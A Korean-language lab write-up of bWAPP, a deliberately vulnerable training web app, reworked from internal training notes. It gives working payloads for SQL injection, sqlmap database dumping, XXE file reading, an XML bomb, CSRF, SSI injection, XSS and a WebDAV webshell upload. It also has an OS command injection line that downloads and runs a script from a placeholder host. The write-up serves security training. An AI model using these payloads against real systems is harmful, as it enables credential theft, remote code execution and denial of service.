bWAPP(buggy web application) 해킹 실습

bWAPP(buggy web application) 해킹 실습 교육을 받고, 관련 내용을 정리해 보았다.

사내 전파 교육을 위해 작성한 markdown 파일을 거의 그대로 재사용하였다. 😅

bWAPP 설치

  • 홈페이지: http://www.itsecgames.com/
  • 관련 도서: 비박스 환경을 활용한 웹 모의해킹 완벽 실습 (한빛미디어)

bWAPP 실행

  1. VirtualBox나 VMware Player에서 bee-box 이미지를 import 하여 가상 머신을 실행시키면 된다.
  2. 본 글에서는 네트워크 어댑터를 어댑터에 브리지로 연결시켰고, 이 때 가상 머신의 IP는 192.168.0.106으로 할당받았다고 가정한다.
  3. 가상 머신에 있는 웹브라우저를 실행시켜도 되지만, 편의상 호스트 브라우저에서 192.168.0.106으로 접속한 후, bWAPP 링크를 클릭하면 된다.
  4. Console 로그인 ID는 bee이고 최초 암호는 bug이다.
  5. WebUI 로그인 ID는 beeA.I.M.이 있고, 둘 다 최초 암호는 bug 이다.

DB 확인

  1. 서버 console에서 아래와 같이 MySQL로 로그인 한다.
    $ mysql -u root -p
    Enter password: bug
    

    이제 아래와 같이 DB 테이블을 조회할 수 있다.

    mysql> use bWAPP
    mysql> select * from users;
    
  2. 기본 DB 파일은 /var/www/bWAPP/db/bwapp.sqlite 파일이고 SQLite brower 등으로 확인할 수 있다.

[A1] SQL Injection (GET/Search)

  1. '를 입력하면 SQL syntax 에러가 나온다. (즉, SQL injection 공격이 가능함)
  2. medium level 이상이면 SQL syntax 에러가 안나온다. (즉, SQL injection 공격이 가능하지 않음)
  3. URI 정보를 확인해 보면 GET 방식임을 알 수 있다.
  4. 아래 내용으로 서치하면 DB 테이블 이름이 출력된다.
    a' union select 1,table_name,3,4,5,6,7 from INFORMATION_SCHEMA.TABLES where table_schema=database()#`
    
  5. 아래 내용으로 서치하면 users 테이블의 항목이 출력된다.
    a' union select 1,column_name,3,4,5,6,7 from INFORMATION_SCHEMA.columns where table_name='users' and table_schema=database()#
    
  6. 아래 내용으로 서치하면 사용자 id/login/password/email 정보가 출력된다.
    a' union select 1,id,login,password,email,6,7 from users#`
    
  7. 얻은 password hash 값인 “6885858486f31043e5839c735d99457f045affd0”를 구글 검색으로 찾아보면, “bug”의 SHA1 값이라는 것을 알 수 있다. 또는 HASH cracker 등의 사이트를 이용할 수도 있다.

[A1] SQL Injection - Blind - Boolean-Based>

  1. '를 입력하면 SQL syntax 에러가 나온다. (즉, SQL injection 공격이 가능함)
  2. “iron man”을 서치해 보면 DB에 있다고 나온다.
  3. 아래 형태로 입력하다가 (뒤 숫자가 틀리면 DB에 없다고 나옴) 숫자가 5가 되면 true가 되어 DB에 있다고 나온다. (즉, DB 이름이 5글자임)
    iron' or '1'='1' and length(database())=5#
    
  4. 아래와 같이 시도하면 true가 되어 DB에 있다고 나오고 DB 이름을 얻을 수 있다. (즉, bwapp 임)
    iron' or '1'='1' and substring(database(),1,1)='b'#
    iron' or '1'='1' and substring(database(),2,1)='w'#
    iron' or '1'='1' and substring(database(),3,1)='a'#
    iron' or '1'='1' and substring(database(),4,1)='p'#
    iron' or '1'='1' and substring(database(),5,1)='p'#
    

[A1] SQL Injection - Stored (Blog)

  1. '를 입력하면 SQL syntax 에러가 나온다. (즉, SQL injection 공격이 가능함)
  2. 아래와 같이 입력하면 내용은 hi를 출력하고, Owner 정보에는 첫번째 유저의 login/password 정보가 출력된다.
    hi',(select concat(login, password) from users limit 0,1))#
    
  3. 마찬가지로 아래와 같이 입력하면 내용은 hi를 출력하고, Owner 정보에는 두번째 유저의 login/password 정보가 출력된다.
    hi',(select concat(login, password) from users limit 1,2))#
    
  4. 블로그 글을 모두 삭제하려면 Reset 탭을 누르면 된다.

sqlmap 툴

  1. sqlmap 툴은 SQL injection 취약점을 penetration 테스트하여 SQL DB의 구조 파악, 테이블 내용 표시 등을 출력해주는 툴이다.
  2. Ubuntu의 경우 아래와 같이 설치한 후, 실행할 수 있다.
    $ sudo apt install sqlmap
    $ sqlmap
    
  3. 또는 소스를 직접 받으려면 아래와 같이 하면 된다. (Windows인 경우에도 이렇게 하면 됨)
    $ git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
    $ python sqlmap.py
    

    단, 실행시키려면 파이썬 2.6이나 2.7 또는 3.x 버전이 설치되어 있어야 한다.

[A1] SQL Injection (POST/Select)

  1. POST 방식이고 사용자 입력이 없는 경우이다.
  2. Burp Suite의 Proxy intercept 기능을 이용하여 캡쳐한다. (아래 예와 같이 나왔다고 가정)
    POST /bWAPP/sqli_13.php HTTP/1.1
    Cookie: PHPSESSID=bf571c656a20f5965696d759d1f260b7; security_level=0
    movie=1&action=go
    

    위의 정보로 cookie 값도 얻었고, POST 방식으로 movie=1과 같이 movie index 정보를 넘겨줌을 알 수 있다.

  3. DB 기본 정보를 얻기 위해 Burp Suite에서 movie 부분을 (위의 예제에서는 1) 아래 내용으로 대체한 후, Forward 시킨다.
    movie=0 UNION SELECT null, database(), @@version, @@datadir, null,null,null
    

    결과로 DB 이름, 버전, DB 경로가 출력된다. 또, 아래와 같이 movie 내용을 대체하면, 호스트 이름, 사용자 이름, 비밀 번호가 출력된다.

    movie=0 UNION SELECT null, host,user,password,null,null,null FROM mysql.user
    
  4. 이런 식으로 계속 DB의 정보를 알아낼 수 있지만, 아래 예와 같이 SQL injection 자동화 도구인 sqlmap을 사용하면 쉽게 더 많은 정보를 알아낼 수 있다.
    $ sqlmap -u "http://192.168.0.106/bWAPP/sqli_13.php" --cookie="PHPSESSID=bf571c656a20f5965696d759d1f260b7; security_level=0" --data="movie=1&action=go" --tables
    $ sqlmap -u "http://192.168.0.106/bWAPP/sqli_13.php" --cookie="PHPSESSID=bf571c656a20f5965696d759d1f260b7; security_level=0" --data="movie=1&action=go" --columns
    
  5. 위에서 sqlmap을 이용하여 DB 칼럼명을 얻어냈으므로, movie에 아래 내용을 주면 login, password, secret, email 등의 사용자 정보를 알아낼 수 있다.
    movie=0 UNION SELECT null,login,password,email,secret,null,null FROM users&action=go
    
  6. Penetration 테스트가 성공하므로, 아래와 같이 sqlmap을 이용하여 SQL shell도 얻을 수 있다.
    $ sqlmap -u "http://192.168.0.106/bWAPP/sqli_13.php" --cookie="PHPSESSID=bf571c656a20f5965696d759d1f260b7; security_level=0" --data="movie=1&action=go" --sql-shell
    

    이후 아래 예와 같이 각종 DB 정보를 조회할 수 있다.

    sql-shell> select * from users
    

[A7] XML External Entity Attacks (XXE)

  1. Burp Suite를 실행시키고 intercept를 켠 후, Any bugs? 버튼을 누른다.
  2. Burp Suite에서 캡쳐된 내용을 보면 아래 부분이 있다.
    <reset><login>bee</login><secret>Any bugs?</secret></reset>
    
  3. Burp Suite에서 마우스 우클릭하여 Send to Repeater를 누른다. 이후 Repeater 탭에 들어가보면 기존 내용이 복사되어 있다. 여기서 위의 기존 정보를 아래 내용으로 대체한 후 (즉, 로그인 사용자 정보를 XML external entity로 대체), Send 버튼을 누른다.
    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE Header [
    <!ENTITY bee SYSTEM "file:///etc/passwd">
    ]>
    <reset><login>&bee;</login><secret>Any bugs?</secret></reset>
    

    응답으로 /etc/passwd 파일 내용이 출력된다. 파일을 바꿔가면서 계속 보내면 응답으로 해당 파일의 내용이 출력된다.

  4. XML bomb도 이 XXE 공격 기법으로 DoS 공격을 한다. 예를 들어 아래와 같이 보내면, “lol”(lots of laughs) 문자열이 10^3 번 출력된다.
    <?xml version="1.0"?>
    <!DOCTYPE Header [
    <!ENTITY lol "lol">
    <!ELEMENT Header (#PCDATA)>
    <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
    <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
    <!ENTITY bee "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
    ]>
    <reset><login>&bee;</login><secret>Any bugs?</secret></reset>
    

    이제 아래와 같이 보내면 (10^9 번 “lol” 출력) 서버의 CPU 사용율이 치솟고 response는 결국 타임 아웃이 걸린다.

    <?xml version="1.0"?>
    <!DOCTYPE Header [
    <!ENTITY lol "lol">
    <!ELEMENT Header (#PCDATA)>
    <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
    <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
    <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
    <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
    <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
    <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
    <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
    <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
    <!ENTITY bee "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
    ]>
    <reset><login>&bee;</login><secret>Any bugs?</secret></reset>
    

[A10] Unvalidated Redirects & Forwards (1)

  1. Burp Suite로 캡쳐해 보면 아래와 같이 리다이렉트되는 URL 주소가 GET 방식으로 넘어감을 알 수 있다.
    GET /bWAPP/unvalidated_redir_fwd_1.php?url=http%3A%2F%2Fitsecgames.blogspot.com&form=submit HTTP/1.1
    
  2. 따라서 Burp Suite에서 위 url 정보를 다른 웹사이트 주소로 변경하면 해당 주소로 리다이렉트된다.

[A8] CSRF (Change Password)

  1. Burp Suite에서 intercept를 켜 놓은 후, bWAPP에서 현재 암호를 입력한 후, Change 버튼을 누른다. 결과로 아래 예와 같이 캡쳐된다 (예로 암호를 test로 입력).
    GET /bWAPP/csrf_1.php?password_new=test&password_conf=test&action=change HTTP/1.1
    
  2. 즉, 기존 암호 검증이 없는 취약점을 노릴 수 있다. Burp Suite에서 마우스 우클릭하여 Copy URL을 누르면 현재 URL 정보가 아래 예와 같이 클립보드에 복사된다.
    http://192.168.0.106/bWAPP/csrf_1.php?password_new=test&password_conf=test&action=change
    

    이제 현재 사용자는 로그 아웃한다.

  3. 웹브라우저에 위 URL 정보를 복사하고 암호를 원하는 내용으로 변경하여 접속해 보면, 기존 암호 검증 단계가 없으므로 무조건 새로운 암호로 변경할 수 있다.
  4. 목적은 위의 비밀 번호 변경 취약점을 이용하여 사용자가 블로그를 보면, 사용자의 비밀 번호를 변경하는 것이다. [A1] SQL Injection - Stored (Blog) 페이지로 이동한다.
  5. 블로그에 아래 내용을 입력하여 (예로 암호는 test로 입력) 글을 올린다.
    Your password is changed<img src="http://192.168.0.106/bWAPP/csrf_1.php?password_new=test&password_conf=test&action=change" height=0 width=0>
    
  6. 이제 암호가 변경되었음을 확인할 수 있다. 추가 테스트로 “A.I.M.” 사용자로 로그인 한 후 (최초 암호는 “bug” 임), [A1] SQL Injection - Stored (Blog) 페이지로 이동한 후 로그 아웃 후, 다시 로그인 해보면 “A.I.M.” 사용자의 암호도 변경되었음을 확인할 수 있다.

[A8] CSRF (Transfer Amount)

  1. 테스트해보면 GET 방식으로 보내서, URI 정보가 아래 예와 같이 같음을 확인할 수 있다. (100 EUR 송금 예)
    http://192.168.0.106/bWAPP/csrf_2.php?account=123-45678-90&amount=100&action=transfer
    
  2. 위 주소로 다시 refresh 시켜보면 취약점으로 인해 계속 송금이 되고 계좌에서 돈이 빠져 나간다.
  3. Security level을 high로 바꾼 후에, 동일하게 테스트해 보면 token 값이 random하게 바뀌어서 refresh 시켜도 송금이 되지 않은 것을 확인할 수 있다.
  4. 계좌에 다시 돈을 채워 넣으려면 송금액을 음수로 하면 된다.

[A1] OS Command Injection

  1. 소스 코드가 입력 서버 주소를 shell_exec 함수를 이용하여 nslookup 명령의 파라미터로 실행시키는 구조이므로, 아래 예와 같이 입력하면 ; 뒤의 명령어도 실행되어 결과를 보여준다.
    google.co.kr; cat /etc/passwd
    
  2. 모든 OS 명령어가 사용 가능하므로, 아래 예와 같이 악성 코드를 다운받아서 실행시킬 수도 있다. 테스트로 아래와 같은 내용으로 hack.sh 파일을 작성하여, <your_host>/<your_path>/ 경로에 올려 놓는다.
    echo "Your system is hacked" > /tmp/hack.log
    

    이제 아래 내용을 DNS lookup 해본다.

    google.co.kr; wget http://<your_host>/<your_path>/hack.sh -O /tmp/hack.sh; sh /tmp/hack.sh
    

    결과로 /tmp/hack.sh, /tmp/hack.log 파일이 웹서비스의 ID인 www-data 권한으로 생성되었음을 확인할 수 있다.

[A1] Server-Side Includes (SSI) Injection

  1. First name을 입력한 후, Last name에 아래 예와 같이 입력한다. (First/Last 내용을 바꾸어도 됨)
    <!--#exec cmd="cat /etc/passwd" -->
    

    결과로 서버의 /etc/passwd 파일 내용이 출력된다.

[A7] Directory Traversal - Files

  1. URI 정보를 보면, page=message.txt 내용이 들어있다.
  2. 따라서 URI 정보에서 page=/etc/passwd 예와 같이 보려는 파일 경로로 대체하면 해당 파일의 내용이 출력된다. 단, www-data 유저의 권한이 없는 파일은 보여지지 않는다.

[A3] XSS - Reflected (GET)

  1. 이름을 입력하고 테스트해 보면, URI 정보에 GET 방식으로 firstname, lastname 값이 넘어감을 알 수 있다.
  2. 이름에 아래 예와 같이 입력하면 해당 스크립트가 실행되고 사용자의 쿠키 정보를 출력한다.
    <script>alert(document.cookie)</script>
    
  3. [A1] SQL Injection - Stored (Blog) 페이지로 이동한 후, 블로그에 아래 내용을 입력하여 글을 올리면 해당 사용자의 쿠기 정보가 출력된다.
    hacked<script>alert(document.cookie)</script>
    

[A3] XSS - Reflected (JSON)

  1. 영화 검색을 해보면 URI 정보에 title 값으로 넘어감을 알 수 있다.
  2. 없는 영화를 검색하면 “검색한 이름??? Sorry, we don’t have that movie :(“와 같이 출력된다. 브라우저에서 페이지 소스를 보면 해당 JSON 문자열의 맨 끝이 "}]}';임을 확인할 수 있다.
  3. 아래 예와 같은 내용으로 검색하면 사용자의 쿠기 정보가 출력된다.
    "}]}';</script><script>alert(document.cookie)</script>
    

[A3] XSS - Reflected (Referer)

  1. Referer는 방문자가 어떤 경로로 자신의 사이트에 접속했는지를 얻을 수 있는 정보이다.
  2. Burp Suite로 캡쳐하면, Referer 정보가 보이는데, 이 부분을 아래 예와 같이 스크립트로 대체한 후, Forward 버튼을 누른다.
    Referer: <script>alert(document.cookie)</script>
    

    결과로 사용자의 쿠키 정보가 출력된다.

[A3] XSS - Stored (Cookies)

  1. 장르를 선택한 후 테스트해 보면, GET 방식으로 genre 필드가 넘어감을 알 수 있다.
  2. Burp Suite로 확인해 보면, Cookie 값 중에 movie_genre가 세팅됨을 확인할 수 있다.
  3. GET 메소드와 Cookie 정보에서 기존 장르 문자열을 아래와 같은 스크립트를 대체한 후, Forward 시킨다. (쿠키에 스크립트를 inject 시킨 것임)
    <script>alert(document.cookie)</script>
    
  4. 이후 [A2] Session Mgmt. - Cookies (Secure) 페이지로 이동한 후 Cookies 버튼을 누르면, movie_genre 내용은 비어있고 사용자의 쿠키 정보가 출력된다.

[A5] Insecure WebDAV Configuration

  1. WebDAV는 HTTP 환경에서 서버에 있는 파일의 조회/송수신/수정/삭제/이동 등을 가능하게 해주는 서비스이다.
  2. 서버에서 /etc/apache2/httpd.conf 파일을 확인해 보면, 아래 내용과 같이 WebDAV 서비스가 enable 되어 있다.
    ExtendedStatus On
    <Location /server-status>
     SetHandler server-status
     Order deny,allow
     Allow from all
    </Location>
         
    # Allows WebDAV, not secure!!!
    Alias /webdav /var/www/bWAPP/documents
    <Location /webdav>
     DAV On
    </Location>
    
  3. WebDAV 메소드 중에서 PUT 메소드를 이용하여 악의적인 파일을 업로드하고, 이를 다른 사용자가 클릭하면 실행시킬 수 있다.
  4. 브라우저에서 http://192.168.0.106/webdav 주소로 접속해 보면, 서버의 /var/www/bWAPP/documents/ 경로에 있는 파일들이 출력된다. 이것을 Burp Suite로 캡쳐해 보면 아래 내용이 있다. (즉, GET 메소드로 파일 리스트를 얻었음)
    GET /webdav/ HTTP/1.1
    
  5. c99.php 코드를 복사한다. (WebShell 코드임)
  6. 기존 내용에서 GET 줄을 아래 내용으로 대체한다.
    PUT /webdav/webshell.php HTTP/1.1
    

    또, 아래 부분에 c99.php 코드 내용을 그대로 붙여 넣는다. Forward 버튼을 누르면 해당 파일이 생성되었다는 메시지가 나오고, 해당 파일 리스트에 보인다.

  7. 브라우저에서 해당 파일을 클릭하면 WebShell이 실행된다.

디렉토리 리스팅 테스트 (WebDAV 설정 문제)

  • index of webdav 검색
  • index of mp3 검색
  • index of movie 검색

[Other bugs] Unrestricted File Upload

  1. jpg나 png 파일을 업로드하면 그림을 확인할 수 있다.
  2. 확장자 검색을 하지 않아서 php 파일도 업로드할 수 있다. (이후 이 파일을 공격에 이용할 수 있음)
  3. 예를 들어 아래와 같은 내용의 php 파일을 작성하여 업로드 후 테스트해보면, 사용자 쿠키 정보가 출력된다.
    <script>alert(document.cookie)</script>
    

[A2] Broken Auth. - Logout Management

  1. 로그 아웃하면 로그인 화면이 나오지만, 브라우저에서 back을 시키면 다시 이전 화면으로 정상적으로 나오므로, 정상적으로 로그 아웃이 된 상태가 아니다.
  2. 소스 코드를 확인해보면 현재 세션을 삭제하지 않는 취약점을 가지고 있다.

버퍼 Overflow

  • 언어 중에서 특히 C/C++이 취약
  • Linux에서는 SSP(Stack Smashing Protector)로 overflow 방지
  • Secure coding 필요
  • 정적 검사 tool: 언어에 따라 다름
    • Spotbugs(무료)
    • Sparrow(상용)
  • 동적 검사 tool: 비용과 시간이 많이 소요됨
    • ZAP (무료)
    • Netsparker(상용)

소스코드(Java) 보안 취약점 진단 실습

  • 테스트 소스: openeg (Java로 구현되었음)
  • Eclipse에서 Spotbugs 플러그인을 설치하고, findsecbugs 플러그인을 추가한 후, Security 항목을 enable 시킨 후, 검사하면 된다.

카테고리:

업데이트: